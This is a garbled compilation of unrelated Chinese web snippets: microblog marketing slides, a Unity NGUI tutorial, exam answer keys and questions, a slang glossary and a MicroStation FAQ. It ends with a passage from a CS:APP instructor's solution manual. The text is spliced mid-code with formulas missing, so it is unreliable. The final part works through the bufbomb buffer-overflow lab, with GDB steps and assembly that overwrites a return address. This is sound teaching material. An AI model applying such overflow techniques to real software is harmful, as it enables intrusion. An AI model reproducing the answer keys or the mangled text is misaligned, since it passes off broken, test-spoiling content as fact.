2012-10-31(第九周)microblog

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社交媒体营销PPT课件

• 雀巢不仅制造了“史上第一支可以剥开吃”的冰淇淋
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雀巢2012新产品在香港高调诞生，源自于音译 “banana”（香蕉）。它凭借可爱的外形和可以像香蕉一样剥开（不是包装）来吃的特点，一举成为 “雪糕中的战斗糕”，并迅速走红网络，成为网民们追捧的对象。有多种口味，剥下的皮也是可以吃的。每支零售价为3元~3.5元。
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• 账号认证
– 企业账号、高管账号、有影响力人的账号，申请加V，形成较权威的形象，也可以被搜索引擎检索
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• 店铺装修
– 装修要符合产品、客户特性 • 如聚美优品以年轻时尚女性为主，所以整个微博页面的设计也紧紧围绕女性丶时尚这些主题。 • 在整个色调上也与网站相符。
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2、添加QQ群方法
（1）通过QQ群添加
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（3）自己创建QQ群
申请好友加进群里把QQ群放到论坛、知道里等2020/1/913
四、QQ群营销方法
广度QQ群营销深度QQ群营销
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1 广度ＱＱ群营销
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更多内容表现形式
随时了解到关注对象的动态，方便快捷的互动
高质量粉丝会以意想不到的速度传播
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2. 微博的特点
时效性强广泛性
互动性强
高速度
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二、微博营销概述
1、概念
微博营销是指通过微博平台为商家、个人等创造价值而执行的一种营销方式，也是指商家或个人通过微博平台发现并满足用户的各类需求的商业行为方式。

NGUI研究院之Sprite精灵与精灵动画的使用(二) - 雨松MOMO程序研究院

本例我们的目的是使用NGUI在屏幕中创建一个按钮，第一次点击按钮主角播放行走动画，再次点击按钮主角动画将停止。上篇文章中我们已经学习了NGUI中按钮的相应事件，如果想在别的对象或者脚本中监听某个按钮的点击事件那么就可以使用传递消息的方式。NGUI帮我们封装了一次传递消息的类，Unity导航菜单栏中选择NGUI-》Interaction->ButtonMessage。它的原理也是使用Unity的sendMessage，有兴趣的朋友可以去看看。接着说正题，创建脚本Test.cs挂在刚刚创建的按钮上。
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07 //播放动画与不播放
08 bool isPlayAnim = false;
09 //得到精灵对象
10 GameObject animObj = null;
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专门处理精灵动画。MOMO在网上随便找了一组2D主角的行走动画，按照上面介绍的方法将整个图片导入工程中。如下图所示，这组人物的行走动画我们选区取左移动的4帧。
这里我在强调一下，需要修改修改材质的着色器，让他支持背景透明，对当前材质的着色器我们选择Unlit/TransparentColored。
首先我们在Project中创建一个Prefab对象，默认给它Transform变换属性，暂时我们给Prefab对象起名为MySprite。接着给Prefab挂上图像集合组件。在Unity导航菜单栏中选择Component->NGUI->UI->Atlas（图像集合）即可。
常用的属性介绍：
Coordinates ：UI坐标单位，用默认Pixels（像素）就行。
12 void Start()
13 {
14 //得到精灵对象
15 animObj = GameObject.Find("Sprite");

河南专升本英语09-21年真题答案

2009年专升本答案Part Ⅰ. Vocabulary ﹠Structure（40 points）1---5 DDABD 6---10 CDACC 11--15 DCDBD 16---20 ABCDC21---25 ABCAC 26--30 BCDAD 31---35 CAADB 36---40 BCADAPart Ⅱ. Reading Comprehension（40 points）Passage One 41---45 CBAABPassage Two 46---50 BACDBPassage Three 51--55 CACABPassage Four 56---60 CBCADPart Ⅲ. Cloze（20 points）61---65 BBCDA 66--70 ABDDC 71--75 BABCB 76---80 DCACAPart Ⅳ. Word Formation（10 points）81.satisfied 82.freedom 83.absence 84.likely 85.enlarge86.cheating 87.successful 88.Given 89.be或should be 90.disappointingPart Ⅴ. Translation（20 points）汉译英91.They haven’t seen each other for ten years.92.In my opinion, discussion is a good solution to the problem.93.You should take advantage of every opportunity to study English out of class.94.You should take advantage of every opportunity to study English out of class.95.Only when people fall ill can they come to know the value of health.英译汉96.患难见真情。

WinForm作业2012

基于.NET的Windows应用程序开发作业目录相关说明 (2)9月18日：回顾与引出 (2)加减乘除运算的控制台应用程序 (2)基本控件的使用 (2)WinForm登录窗体 (2)listBox控件 (3)9月25日：多文档界面处理 (4)创建多文档界面应用程序示例 (4)简易计算器 (5)多文档界面的窗体传值 (6)1．利用窗体参数定义进行传值 (6)2．通过类的属性进行数据传值（课后练习） (8)10月9日：共有类传值、窗体界面美化 (8)1．通过定义共有类传值 (8)2．窗体界面的美化 (8)第一章总结：简要回答 (9)根据教材和上课的PPT回答下列问题，作在作业本上交上来 (9)为程序添加多媒体功能 (10)流媒体播放器 (10)10月16日：选项卡控件、图片框控件应用 (10)1．统计页面基本信息 (10)2．选项卡控件的功能操作控制 (11)10月23日：工具栏、状态栏、快捷菜单的创建 (11)试一试 (11)StatusStrip、ToolStrip（ToolBar、ImageList）、Timer、ContextMenuStript控件的使用 (11)基于.NET的Windows应用程序开发作业相关说明平时的作业是期终考试的总评成绩的重要的一部分，同时也锻炼大家动手的能力，希望我们每一位都认真对待，争取及时完成。

上课的相关素材等文件等放在服务器上的“WinForm”：ftp://tm.ks/计算机系/WinForm中。

及时获取和巩固，当容量较大时，会删除早期的文件。

相关文件的密码为：11soft2012大家的作业按时提交到：星期二的作业：ftp://lx.ks/11Soft/ /相应的日期目录中统一规定每次上课时新建的文件夹名称为：学号姓名当前日期，例如：04江瑞0918，完成后制作成压缩文件，上传每次要当面检查9月18日：回顾与引出加减乘除运算的控制台应用程序通过记事本编写一个简单的控制台应用程序：实现加（减乘除等）功能。

浙江省象山中学(象山港书院)高三英语10月月考试题新人教版

象山中学/象山港书院高三年级2012学年第I学期月考选择题部分（共80分）第一部分英语知识运用（共两节，满分30分）第一节单项填空（共20小题；每小题0.5分，满分10分）从A、B、C、D四个选项中，选出可以填入空白处的最佳选项，并在答题卡上将该项涂黑。

1. Liu Xiang's Olympic dreams were shattered for ______second time when heunfortunately crashed at ______ first barrier in the 110m hurdles heats in London.A. the; theB. a; aC. a; theD. the; a2. She said the pleasure she had harvested in devoting herself to teaching childrenin this remote village was different from ____ of any other kind .A. oneB. thatC. the oneD. those3. He didn’t give us a(n) __________ answer to the question so I asked him again.A. noisyB. ambitiousC. typicalD. adequate4. His sacrifices for the country were never officially ______, which made all ofus feel discouraged.A. acknowledgedB. appealedC. recommendedD. evaluated5. Even though he lived in the big city for a long time, he found he ____ the life of the countryside more.A．went with B. adapted for C. lived up to D. fit in with6. If you are sent to work_______ you are not used to the people's life style, besure to adapt yourself to them as soon as possible.（1）where B. in which C. in the place that D. what7. Flooding, _______ more than three dozen people in Beijing, sparked many people’sanger at the lack of warning and the apparent inadequacy of drainage system.A. killedB. has killedC. having killedD. to havekilled8. It is an abundance of cheap goods and quick delivery service _____ account forthe fact that the number of Internet shopping on this website is four times _____ it was last year.A. that; thatB. which; whatC. what; thatD. that; what9. --- What’s wrong with you?---Oh, I am sick．I _____ so much ice cream just now．A. shouldn’t have eatenB. mustn’t eatC. couldn’t have eatenD. shouldn’t eat10. you may have , you should gather your courage to face the challenge .A. However a serious problemB. Whatever serious a problemC. However serious a problemD. No matter how a serious problem11. —The film Sleeping Beauty will be on at 7：30 pm．Shall I pick you up at 6：40 pm?—OK, I you at that time．A. was waiting forB. shall be waiting forC. have been waiting forD. shall have waited for12.The manager urged older staff ____early retirement and new staff ____ more timefor work.A. take up; to set asideB. took up; set asideC. would take up; to lay asideD. must take up; lay aside13. People Who Moved China, hosted by CCTV, honors the people _____the valuablecontributions should be remembered by every Chinese.A. whoseB. of whomC. thatD. of which14.— What made Bill so angry?—__________. His girl friend promised to come at 8:30, but she hasn’t co me yet.A. Having kept waitingB. Being kept waitingC. To be kept waitingD. He was kept waiting15.—Are you getting a new car this year?—You must be joking! I can't afford to pay my bills, ________ buy a new car.A. other thanB. leave aloneC. or ratherD. let alone16. The Sina Microblog provides a good ________ for those who want to express theiropinions and exchange their ideas with others.A. platformB. boundaryC. teamworkD. relationship17. These natural parks are important for preserving animals, which would ________ risk dying out.A. merelyB. ratherC. otherwiseD. moreover18.He is the first person you can think of to rely on, for he is always willing to________ whoever is in trouble.A. cut outB. figure outC. test outD. help out19.It’s reported that workers on London’s underground train network will go on strikein ________ with colleagues losing their jobs at ticket offices.A . annoyance B. sympathy C. companion D. scare20.The boy __ avoided being run over by a speeding car when crossing the busy streetthe other day.A. hardlyB. slightlyC. narrowlyD. gently第二节完形填空（共20小题；每小题1分，满分20分）阅读下面短文，掌握其大意，然后从21~40各题所给的四个选项（A、B、C和D）中，选出最佳选项，并在答题纸上将该选项标号涂黑。

微博 Microblog

微博Microblog山寨copycat异地恋long-distance relationship剩女3S lady（single，seventies,stuck）/left girls 熟女cougar（源自电影Cougar Club）裸婚naked wedding炫富flaunt wealth团购group buying人肉搜索flesh search潮人：trendsetter发烧友：fancier骨感美女：boney beauty卡奴：card slave下午茶high tea愤青young cynic性感妈妈yummy mummy亚健康sub-health灵魂伴侣soul mate小白脸toy boy精神出轨soul infidelity人肉搜索flesh search钻石王老五diamond bachelor时尚达人fashion icon御宅otaku橙色预警orange signal warning预约券reservation ticket上相的,上镜头的photogenic80后：80's generation百搭：all-match限时抢购：flash sale合租：flat-share荧光纹身：glow tattoo泡泡袜：loose socks裸妆：nude look黄牛票：scalped ticket扫货：shopping spree烟熏妆：smokey-eye make-up水货：smuggled goods纳米技术：nanotechnology正妹hotty对某人念念不忘get the hots for草莓族Strawberry generation草根总统grassroots president笨手笨脚have two left feet拼车car-pooling解除好友关系unfriend v.暴走go ballistic海外代购overseas purchasing跳槽jump ship闪婚flash marriage闪电约会speeddating闪电恋爱whirlwind romance刻不容缓，紧要关头crunch time乐活族LOHAS（Lifestyle Of Health And Sustainability）一夜情one-night stand偶像派idol type脑残体leetspeak挑食者picky-eater伪球迷fake fans狂热的gaga eg: I was gaga over his deep blue eyes when I first set eyes on him 防暑降温补贴high temperature subsidy奉子成婚shotgun marriage婚前性行为premarital sex开博to open a blog房奴车奴mortgage slave上课开小差zone out万事通know-it-all赌球soccer gambling桑拿天sauna weather假发票fake invoice二房东middleman landlord笑料laughing stock泰国香米Thai fragrant rice学历造假fabricate academic credentials暗淡前景bleak prospects毕业典礼commencement散伙饭farewell dinner毕业旅行after-graduation trip节能高效的fuel-efficient具有时效性的time-efficient很想赢be hungry for success面子工程face job指甲油nail varnish学历门槛academic threshold王牌主播mainstay TV host招牌菜signature dishes城市热岛效应urban heat island effect逃学play hooky,装病不上班play hooky from work一线城市first-tier cities高考the National College Entrance Examines录取分数线admission scores保障性住房indemnificatory housing一决高下Duke it out囤积居奇hoarding and profiteering灰色市场Grey market反倾销anti-dumping吃白食的人freeloader公关public relation不幸的日子，不吉利的日子black-letter day吉利的日子saints' days廉租房low rent housing限价房capped-price housing经适房affordable housing替罪羔羊whipping boy对口支援partner assistance电脑游戏迷：gamer家庭主男：house-husband小白脸，吃软饭的：kept man二奶：kept woman麦霸：Mic king / Mic queen型男：metrosexual man（范指那些极度重视外貌而行为gay化的直男，型男属于其中的一种）新新人类：new-new generation另类：offbeat菜鸟：rookie“色”友（摄影爱好者）：shutterbug 驴友：tour pal娘娘腔：sissy负翁：spend-more-than-earn全职妈妈：stay-at-home mom裸奔：streaking。

MicroStation常见问题解答

MicroStation常见问题解答【问1】MicroStation的版本和详细的数字版本号是如何对应的？【答】MicroStation的数字版本号由8到9位组成，用点来隔开为四段，可以在打开MicroStation之后在Help>AboutMicroStation菜单中查看。

另外，软件的安装程序的默认文件名中也会包含数字版本号，只是数字中间没有点来隔开。

MicroStation95对应的数字版本号为05.05.某某.某某，MicroStationSE对应的数字版本号为05.07.某某.某某，MicroStationJ版对应的数字版本号为07.某某.某某.某某，MicroStation2004版对应的数字版本号为08.05.某某.某某，MicroStationV8某M版对应的数字版本号为08.09.某某.某某，MicroStationV8i版对应的数字版本号为08.11.某某.某某某，MicroStationConnect版对应的数字版本号为08.21.某某.某某某。

最后两段某某标识的部分我们常称为小版本号，用于定期的更新。

数字越大说明版本越新。

【问2】MicroStation版本较多，每个版本都对应不同的DGN文件格式吗？【答】不是的，MicroStation的DGN文件格式目前只有两种，一种称为V7格式，是在MicroStationJ版及其之前的版本中使用的；另一种称为V8格式，从MicroStationV8版到目前的最新版都在使用。

这两种格式也可以互相转换。

【问3】MicroStation可以读取哪些格式的文件，它支持不同文件之间的互转吗？【答】MicroStation可以读取绝大部分CAD行业的文件格式，如DWG，3DS，SHP等等，具体的内容可以在打开MicroStation后弹出的打开文件对话框中的文件格式里查看，另外，使用主菜单的File>Import功能也能将不同格式的数据文件导入到当前的模型文件中。

山东省沂南一中高二下学期质量检测考试基本能力试题 (2012 05)

沂南一中高二下学期质量检测考试试题技艺体2012.05.26第Ⅰ卷第一部分共90题，在每题给出的四个选项中，只有一个选项最符合题目要求。

其中1-20题，每题0.5分，共10分；21-90题，每题1分，共70分，总共80分。

1、将学生学业水平考试成绩表存放到数据库中时，某位同学所有学科的成绩构成一条（）A、信息B、行C、记录D、数据2、下列关于“微博”的说法不准确的是（）A、”微博”是“MicroBlog”的简称B、“微博”不能通过手机发布信息C、“微博”的内容一般由简单的只言片语组成D、“微博”具有便捷、原创等特性3、下列关于“人肉搜索”的说法不正确的是（）A、“人肉”搜索是维护社会公平正义的新型武器，因此可以侵犯他人隐私B、“人肉搜索”是区别于机器搜索的另一种搜索信息的方式C、“人肉搜索”经常和个人隐私相关，非常容易引发道德问题甚至触犯法律D、使用“人肉搜索”一定要把握好“度”4、将当前浏览的标题为‘happy’的页面保存时（采用默认文件名）可以得到（）A、一个index.htm网页文件和index.files文件夹B、一个index.htm网页文件和happy.files文件夹C、一个happy.htm网页文件和happy.files文件夹D、一个happy.htm网页文件和index.files文件夹5、搜索引擎其实是因特网上的一类（），搜索引擎一般提供（）检索和（）检索。

A、网页自动手动B、网页目录关键词C、网站自动手动D、网站目录关键词6、2010年1月15日，中国互联网网络信息中心发布《第25次中国互联网络发展状况统计若用Excel图表来体现各年龄段网民的比例，应选择的图表类型是（）。

A、饼图B、柱形图C、折线图D、条形图7、要想将报纸上的文章录入到电脑里，手工录入比较慢，我们可以借助现代技术来完成：扫描→识别→编辑，这三个步骤分别需要使用哪些硬件和软件？（）A、扫描仪、金山快译、wordB、数码相机、尚书ocr、excelC、扫描仪、尚书ocr、记事本D、数码相机、金山快译、记事本8、在中，“http”是（）A、高级程序设计语言B、超文本传输协议C、网址D、域名9、下列文件中，可以用Windows附件中的画图软件编辑的是（）A、我的祖国.wavB、齐鲁文化.pdfC、花季护航.exeD、魅力山东.bmp10、下列关于表格信息加工的说法中不正确的是（）A、一个Excel工作簿可以有多张工作表C、饼图适合表示数据的大小或多少B、B3表示第三3行第2列的单元格地址D、SUM（）函数可以进行求和运算11、指纹锁的工作原理是通过提取指纹图象的特征进行身份识别，其工作流程可以分为下列几个步骤，正确的顺序应该是（）①指纹图像采集②指纹图像特征提取③控制门锁开启④指纹图像特征值的匹配⑤指纹图像处理A、①②⑤④③B、①⑤②④③C、①②③④⑤D、①④⑤②③12、下列操作中有利于预防计算机病毒入侵的是（）①对下载的文件及时杀毒②打开QQ上陌生人信息中的链接③及时升级杀毒软件和病毒防火墙④及时安装操作系统补丁A、①②③B、①②④C、①③④D、②③④13、域名是因特网上一个服务器或一个网络系统的名字，下列（）可能是清华大学的域名A 、 B、 C、 D、.c14、利用搜索引擎进行信息检索时，如果关键字为“上海and 世博会”，则正确表达其意义的选项是（）A、检索有关上海的相关信息B、检索上海世博会的相关信息C、检索世博会的相关信息D、检索除了以外的世博会信息15、要将网页中一幅图片保存到“我的文档”中，下列操作步骤顺序正确的是（）①在“保存图片”对话框中，选择“我的文档”文件夹②在“保存图片”对话框中，单击“保存”按钮③在图片上右击，选择“图片另存为”④浏览需要保存图片的网页A、①②③④B、②③④①C、③④①②D、④③①②16、王刚同学在完成一篇“关于本地历史演变”的研究性学习报告时，需要插入一幅图片（存储路径为F:\地名\版图.jpg）。

2012北京联大计算机基础A卷及答案

2012北京联大计算机基础A卷及答案一、单选题1.气象台及时发布台风警报，从而避免了人员伤亡和财物损失，这说明信息具有（）。

[单选题] *A.可存储可转换B.时效性有用性(正确答案)C.时效性失真性D.独立性增值性2.某学习小组要制作一个介绍“北京名胜古迹”的网页。

为了收集相关素材，可以使用的途径有（）。

①通过因特网搜索②咨询有关专家③查阅相关杂志④实地考察[单选题] *A.①②④B.①③④C.①②③④(正确答案)D.②③④3.冯•诺依曼结构指出计算机硬件系统由（）组成。

[单选题] *A.中央处理器、存储器和输入输出设备B.运算器、控制器、存储器和输入输出设备(正确答案)C.运算器、存储器和控制器D.运算器、存储器和输入输出设备4.机器人大赛是我国中小学科技创新活动的主要项目，机器人主要是利用了（）。

[单选题] *A.网络技术B.多媒体技术C.语音技术D.人工智能技术(正确答案)5.下列各选项中不属于输入码的是（）。

[单选题] *A.国标码(GB)(正确答案)B.王码五笔C.搜狗拼音D.智能ABC6.下列选项中，均属于计算机输入设备的是（）。

[单选题] *A.扫描仪、键盘、鼠标(正确答案)B.扫描仪、打印机、移动硬盘C.键盘、鼠标、显示器D.显示器、扫描仪、键盘7.计算机采用总线结构对CPU、存储器、I/O等部件进行连接，总线通常由（）构成。

[单选题] *A.逻辑总线、传输总线和通信总线B.数据总线、信息总线和传输总线C.地址总线、运算总线和逻辑总线D.数据总线、地址总线和控制总线(正确答案)8.计算机字长越长，运算速度越（），处理功能越( )。

[单选题] *A.高，弱B.低，弱C.低，强D.高，强(正确答案)9.中央处理器每执行一个（），就可完成一次基本运算或判断。

[单选题] *A.语句B.指令(正确答案)C.程序D.软件10.下面有关计算机的叙述中，（）是正确的。

[单选题] *A.计算机的主机包括控制器、内存储器和硬盘三部分B.CD-ROM和ROM都属于内存储器C.计算机程序必须装载到内存才能执行(正确答案)D.计算机键盘上字母键的排列方式是随机的11.我国设计并制造的具有自主知识产权的中央处理器是（）。

csdn博客知识点

CSDN博客知识点：逐步思考在编程和解决问题的过程中，逐步思考是一种非常重要的技能。

它可以帮助我们更加系统地解决问题，避免走弯路，并提升我们的编程能力。

本文将介绍逐步思考的概念，并提供一些步骤和技巧，帮助读者在解决问题时更好地运用逐步思考。

什么是逐步思考逐步思考是一种系统性的思考方式，它通过分解问题、一步一步地思考和解决问题，从而达到更好的解决问题的效果。

逐步思考的过程通常包括以下几个步骤：1.理解问题：首先要充分理解问题的要求和约束，明确问题的核心目标。

2.分解问题：将问题分解为更小、更具体的子问题，以便更好地理解和解决。

3.设计解决方案：为每个子问题设计解决方案，可以考虑使用已知的算法、数据结构或其他技术。

4.实施解决方案：按照设计的解决方案一步一步地实施，注意每个步骤的正确性和效率。

5.测试和调试：测试实施的解决方案，发现并修复可能存在的错误和问题。

6.总结和优化：回顾整个解决问题的过程，总结经验教训，并尝试找到进一步优化的方式。

通过逐步思考，我们可以在解决问题的过程中更加有条理，更加高效地工作。

如何运用逐步思考逐步思考需要一定的实践和经验，下面将介绍一些常用的技巧和方法，帮助读者更好地运用逐步思考。

1.划分阶段：将问题的解决过程划分为几个阶段，每个阶段解决一个小的问题。

这样可以避免陷入过于复杂和庞大的问题中，从而更好地集中精力解决每个小问题。

2.利用伪代码：在设计解决方案时，可以使用伪代码来描述每个步骤的操作和逻辑。

这样可以更清晰地思考和理解解决方案，避免在实施过程中出现混乱和错误。

3.调试和测试：在实施解决方案的过程中，及时进行调试和测试，发现问题并修复。

调试和测试是解决问题过程中不可或缺的一部分，它可以帮助我们发现隐藏的错误和问题，从而提升解决问题的效果。

4.反思和总结：在解决问题后，要及时进行反思和总结。

回顾整个解决问题的过程，思考自己的做法是否合理，是否存在更好的解决方案。

通过反思和总结，我们可以不断改进自己的解决问题的能力。

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answer

Computer Systems:A Programmer’s PerspectiveInstructor’s Solution Manual1Randal E.BryantDavid R.O’HallaronDecember4,20031Copyright c2003,R.E.Bryant,D.R.O’Hallaron.All rights reserved.2Chapter1Solutions to Homework ProblemsThe text uses two different kinds of exercises:Practice Problems.These are problems that are incorporated directly into the text,with explanatory solutions at the end of each chapter.Our intention is that students will work on these problems as they read the book.Each one highlights some particular concept.Homework Problems.These are found at the end of each chapter.They vary in complexity from simple drills to multi-week labs and are designed for instructors to give as assignments or to use as recitation examples.This document gives the solutions to the homework problems.1.1Chapter1:A Tour of Computer Systems1.2Chapter2:Representing and Manipulating InformationProblem2.40Solution:This exercise should be a straightforward variation on the existing code.2CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS1011void show_double(double x)12{13show_bytes((byte_pointer)&x,sizeof(double));14}code/data/show-ans.c 1int is_little_endian(void)2{3/*MSB=0,LSB=1*/4int x=1;56/*Return MSB when big-endian,LSB when little-endian*/7return(int)(*(char*)&x);8}1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION3 There are many solutions to this problem,but it is a little bit tricky to write one that works for any word size.Here is our solution:code/data/shift-ans.c The above code peforms a right shift of a word in which all bits are set to1.If the shift is arithmetic,the resulting word will still have all bits set to1.Problem2.45Solution:This problem illustrates some of the challenges of writing portable code.The fact that1<<32yields0on some32-bit machines and1on others is common source of bugs.A.The C standard does not deﬁne the effect of a shift by32of a32-bit datum.On the SPARC(andmany other machines),the expression x<<k shifts by,i.e.,it ignores all but the least signiﬁcant5bits of the shift amount.Thus,the expression1<<32yields1.pute beyond_msb as2<<31.C.We cannot shift by more than15bits at a time,but we can compose multiple shifts to get thedesired effect.Thus,we can compute set_msb as2<<15<<15,and beyond_msb as set_msb<<1.Problem2.46Solution:This problem highlights the difference between zero extension and sign extension.It also provides an excuse to show an interesting trick that compilers often use to use shifting to perform masking and sign extension.A.The function does not perform any sign extension.For example,if we attempt to extract byte0fromword0xFF,we will get255,rather than.B.The following code uses a well-known trick for using shifts to isolate a particular range of bits and toperform sign extension at the same time.First,we perform a left shift so that the most signiﬁcant bit of the desired byte is at bit position31.Then we right shift by24,moving the byte into the proper position and peforming sign extension at the same time.4CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 3int left=word<<((3-bytenum)<<3);4return left>>24;5}Problem2.48Solution:This problem lets students rework the proof that complement plus increment performs negation.We make use of the property that two’s complement addition is associative,commutative,and has additive ing C notation,if we deﬁne y to be x-1,then we have˜y+1equal to-y,and hence˜y equals -y+1.Substituting gives the expression-(x-1)+1,which equals-x.Problem2.49Solution:This problem requires a fairly deep understanding of two’s complement arithmetic.Some machines only provide one form of multiplication,and hence the trick shown in the code here is actually required to perform that actual form.As seen in Equation2.16we have.Theﬁnal term has no effect on the-bit representation of,but the middle term represents a correction factor that must be added to the high order bits.This is implemented as follows:code/data/uhp-ans.c Problem2.50Solution:Patterns of the kind shown here frequently appear in compiled code.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION5A.:x+(x<<2)B.:x+(x<<3)C.:(x<<4)-(x<<1)D.:(x<<3)-(x<<6)Problem2.51Solution:Bit patterns similar to these arise in many applications.Many programmers provide them directly in hex-adecimal,but it would be better if they could express them in more abstract ways.A..˜((1<<k)-1)B..((1<<k)-1)<<jProblem2.52Solution:Byte extraction and insertion code is useful in many contexts.Being able to write this sort of code is an important skill to foster.code/data/rbyte-ans.c Problem2.53Solution:These problems are fairly tricky.They require generating masks based on the shift amounts.Shift value k equal to0must be handled as a special case,since otherwise we would be generating the mask by performing a left shift by32.6CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1unsigned srl(unsigned x,int k)2{3/*Perform shift arithmetically*/4unsigned xsra=(int)x>>k;5/*Make mask of low order32-k bits*/6unsigned mask=k?((1<<(32-k))-1):˜0;78return xsra&mask;9}code/data/rshift-ans.c 1int sra(int x,int k)2{3/*Perform shift logically*/4int xsrl=(unsigned)x>>k;5/*Make mask of high order k bits*/6unsigned mask=k?˜((1<<(32-k))-1):0;78return(x<0)?mask|xsrl:xsrl;9}.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION7B.(a)For,we have,,code/data/ﬂoatge-ans.c 1int float_ge(float x,float y)2{3unsigned ux=f2u(x);4unsigned uy=f2u(y);5unsigned sx=ux>>31;6unsigned sy=uy>>31;78return9(ux<<1==0&&uy<<1==0)||/*Both are zero*/10(!sx&&sy)||/*x>=0,y<0*/11(!sx&&!sy&&ux>=uy)||/*x>=0,y>=0*/12(sx&&sy&&ux<=uy);/*x<0,y<0*/13},8CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS This exercise is of practical value,since Intel-compatible processors perform all of their arithmetic in ex-tended precision.It is interesting to see how adding a few more bits to the exponent greatly increases the range of values that can be represented.Description Extended precisionValueSmallest denorm.Largest norm.Problem2.59Solution:We have found that working throughﬂoating point representations for small word sizes is very instructive. Problems such as this one help make the description of IEEEﬂoating point more concrete.Description8000Smallest value4700Largest denormalized———code/data/fpwr2-ans.c1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS91/*Compute2**x*/2float fpwr2(int x){34unsigned exp,sig;5unsigned u;67if(x<-149){8/*Too small.Return0.0*/9exp=0;10sig=0;11}else if(x<-126){12/*Denormalized result*/13exp=0;14sig=1<<(x+149);15}else if(x<128){16/*Normalized result.*/17exp=x+127;18sig=0;19}else{20/*Too big.Return+oo*/21exp=255;22sig=0;23}24u=exp<<23|sig;25return u2f(u);26}10CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS int decode2(int x,int y,int z){int t1=y-z;int t2=x*t1;int t3=(t1<<31)>>31;int t4=t3ˆt2;return t4;}Problem3.32Solution:This code example demonstrates one of the pedagogical challenges of using a compiler to generate assembly code examples.Seemingly insigniﬁcant changes in the C code can yield very different results.Of course, students will have to contend with this property as work with machine-generated assembly code anyhow. They will need to be able to decipher many different code patterns.This problem encourages them to think in abstract terms about one such pattern.The following is an annotated version of the assembly code:1movl8(%ebp),%edx x2movl12(%ebp),%ecx y3movl%edx,%eax4subl%ecx,%eax result=x-y5cmpl%ecx,%edx Compare x:y6jge.L3if>=goto done:7movl%ecx,%eax8subl%edx,%eax result=y-x9.L3:done:A.When,it will computeﬁrst and then.When it just computes.B.The code for then-statement gets executed unconditionally.It then jumps over the code for else-statement if the test is false.C.then-statementt=test-expr;if(t)goto done;else-statementdone:D.The code in then-statement must not have any side effects,other than to set variables that are also setin else-statement.1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS11Problem3.33Solution:This problem requires students to reason about the code fragments that implement the different branches of a switch statement.For this code,it also requires understanding different forms of pointer dereferencing.A.In line29,register%edx is copied to register%eax as the return value.From this,we can infer that%edx holds result.B.The original C code for the function is as follows:1/*Enumerated type creates set of constants numbered0and upward*/2typedef enum{MODE_A,MODE_B,MODE_C,MODE_D,MODE_E}mode_t;34int switch3(int*p1,int*p2,mode_t action)5{6int result=0;7switch(action){8case MODE_A:9result=*p1;10*p1=*p2;11break;12case MODE_B:13*p2+=*p1;14result=*p2;15break;16case MODE_C:17*p2=15;18result=*p1;19break;20case MODE_D:21*p2=*p1;22/*Fall Through*/23case MODE_E:24result=17;25break;26default:27result=-1;28}29return result;30}Problem3.34Solution:This problem gives students practice analyzing disassembled code.The switch statement contains all the features one can imagine—cases with multiple labels,holes in the range of possible case values,and cases that fall through.12CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1int switch_prob(int x)2{3int result=x;45switch(x){6case50:7case52:8result<<=2;9break;10case53:11result>>=2;12break;13case54:14result*=3;15/*Fall through*/16case55:17result*=result;18/*Fall through*/19default:20result+=10;21}2223return result;24}code/asm/varprod-ans.c 1int var_prod_ele_opt(var_matrix A,var_matrix B,int i,int k,int n) 2{3int*Aptr=&A[i*n];4int*Bptr=&B[k];5int result=0;6int cnt=n;78if(n<=0)9return result;1011do{12result+=(*Aptr)*(*Bptr);13Aptr+=1;14Bptr+=n;15cnt--;1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS13 16}while(cnt);1718return result;19}code/asm/structprob-ans.c 1typedef struct{2int idx;3int x[4];4}a_struct;14CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1/*Read input line and write it back*/2/*Code will work for any buffer size.Bigger is more time-efficient*/ 3#define BUFSIZE644void good_echo()5{6char buf[BUFSIZE];7int i;8while(1){9if(!fgets(buf,BUFSIZE,stdin))10return;/*End of file or error*/11/*Print characters in buffer*/12for(i=0;buf[i]&&buf[i]!=’\n’;i++)13if(putchar(buf[i])==EOF)14return;/*Error*/15if(buf[i]==’\n’){16/*Reached terminating newline*/17putchar(’\n’);18return;19}20}21}An alternative implementation is to use getchar to read the characters one at a time.Problem3.38Solution:Successfully mounting a buffer overﬂow attack requires understanding many aspects of machine-level pro-grams.It is quite intriguing that by supplying a string to one function,we can alter the behavior of another function that should always return aﬁxed value.In assigning this problem,you should also give students a stern lecture about ethical computing practices and dispell any notion that hacking into systems is a desirable or even acceptable thing to do.Our solution starts by disassembling bufbomb,giving the following code for getbuf: 1080484f4<getbuf>:280484f4:55push%ebp380484f5:89e5mov%esp,%ebp480484f7:83ec18sub$0x18,%esp580484fa:83c4f4add$0xfffffff4,%esp680484fd:8d45f4lea0xfffffff4(%ebp),%eax78048500:50push%eax88048501:e86a ff ff ff call8048470<getxs>98048506:b801000000mov$0x1,%eax10804850b:89ec mov%ebp,%esp11804850d:5d pop%ebp12804850e:c3ret13804850f:90nopWe can see on line6that the address of buf is12bytes below the saved value of%ebp,which is4bytes below the return address.Our strategy then is to push a string that contains12bytes of code,the saved value1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS15 of%ebp,and the address of the start of the buffer.To determine the relevant values,we run GDB as follows:1.First,we set a breakpoint in getbuf and run the program to that point:(gdb)break getbuf(gdb)runComparing the stopping point to the disassembly,we see that it has already set up the stack frame.2.We get the value of buf by computing a value relative to%ebp:(gdb)print/x(%ebp+12)This gives0xbfffefbc.3.Weﬁnd the saved value of register%ebp by dereferencing the current value of this register:(gdb)print/x*$ebpThis gives0xbfffefe8.4.Weﬁnd the value of the return pointer on the stack,at offset4relative to%ebp:(gdb)print/x*((int*)$ebp+1)This gives0x8048528We can now put this information together to generate assembly code for our attack:1pushl$0x8048528Put correct return pointer back on stack2movl$0xdeadbeef,%eax Alter return value3ret Re-execute return4.align4Round up to125.long0xbfffefe8Saved value 